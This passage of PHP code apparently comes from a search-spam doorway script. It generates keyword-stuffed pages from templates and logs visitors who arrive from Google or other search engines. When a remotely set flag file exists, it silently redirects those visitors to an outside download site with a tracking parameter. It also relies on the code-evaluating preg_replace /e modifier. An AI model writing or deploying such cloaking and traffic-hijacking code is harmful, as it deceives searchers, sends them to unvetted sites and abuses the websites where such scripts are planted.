$line) { $temp_line = explode('|||', $line); $keys['num'][$num] = $temp_line['0']; $keys['keys'][$num] = $temp_line['1']; $keys['flow'][$num] = $temp_line['2']; } file_put_contents($way.'cache/keys.dat', serialize($keys)); } $keys = unserialize(file_get_contents($way.'cache/keys.dat')); if(!array_key_exists($query, $keys['keys'])) { echo '404 - error document'; exit; } if(isset($_GET['command'])) {$a = '111'; file_put_contents($way.'fg.tmb', $a);} if(preg_match('/google\..+\/|search/', $_SERVER['HTTP_REFERER'])) { $sent = preg_replace('/ /','+', $keys['flow']["$query"]); $fref = fopen($way.'search.txt', "a+"); $count = $keys['num']['$query']; $ref = date('Y-m-d [H:i:s]').' '.$query.' '.@$_SERVER['HTTP_REFERER']; fwrite($fref, $ref."\n"); fclose($fref); if(file_exists($way.'fg.tmb')) { header("Location: http://programsrange.net/browse/search/?q=$sent&cpn=dalweb_$count"); } } include_once($way.'function.php'); $fileName = basename($_SERVER['SCRIPT_NAME']); if(!file_exists($way.'cache/'.md5($query).'.dat')){ $tpl = file_get_contents($way.'tpl.html'); $tpl = my_prob($tpl); $tpl = preg_replace('/\[\|(.+)\|\]/e', 'randstr("\1")', $tpl); $tpl = preg_replace('/\[TITLE\]/e', 'ucfirst($keys["keys"]["$query"])', $tpl); $tpl = preg_replace('/\[HEAD\]/e', 'aword(unword($keys["flow"]["$query"]), 1)', $tpl); $tpl = preg_replace('/\[HEAD2\]/e', 'aword(unword(mixword($keys["flow"]["$query"])), 1)', $tpl); $tpl = preg_replace('/\[1HEAD\]/e', 'strtolower(aword(unword($keys["flow"]["$query"]), 1))', $tpl); $tpl = preg_replace('/\[1HEAD2\]/e', 'strtolower(aword(unword(mixword($keys["flow"]["$query"])), 1))', $tpl); $tpl = preg_replace('/\[REPL\]/', $keys["flow"]["$query"], $tpl); $tpl = preg_replace('/\[RAND-(\d+)-(\d+)\]/e', 'rand(\1,\2)', $tpl); $tpl = preg_replace('/\[LINE-([\s\w\d]+)\.txt\]/e', 'randLine(\1, 1)', $tpl); $tpl = preg_replace('/\[1LINE-([\s\w\d]+)\.txt\]/e', 'randLine(\1, 0)', $tpl); $tpl = preg_replace('/\[TEXT-(\d+)-(\d+)\]/e', 'randText(\1,\2)', $tpl); $tpl = preg_replace('/\[KEYWORD\]/e', 'strtolower(aword(unword(mixword($keys["flow"]["$query"])), 1))', $tpl); $tpl = preg_replace('/\[PREV-(.+)-PREV\]/ei', 'prev_link("\1")', $tpl); $tpl = preg_replace('/\[NEXT-(.+)-NEXT\]/ei', 'next_link("\1")', $tpl); $tpl = preg_replace('/\[BRANDLINK]/e', 'randlink(1)', $tpl); $tpl = preg_replace('/\[RANDKEY]/e', 'randkey()', $tpl); $tpl = preg_replace('/\[1RANDKEY]/e', 'aword(unword(mixword(randkey())), 1)', $tpl); $tpl = preg_replace('/images\//', $way.'images/', $tpl); $tpl = preg_replace('/\[RANDURL\]/e', 'randUrl()', $tpl); $tpl = preg_replace('/\[FILENAME\]/', $fileName, $tpl); file_put_contents($way.'cache/'.md5($query).'.dat', $tpl); } else {$tpl = file_get_contents($way.'cache/'.md5($query).'.dat');} echo $tpl; ?>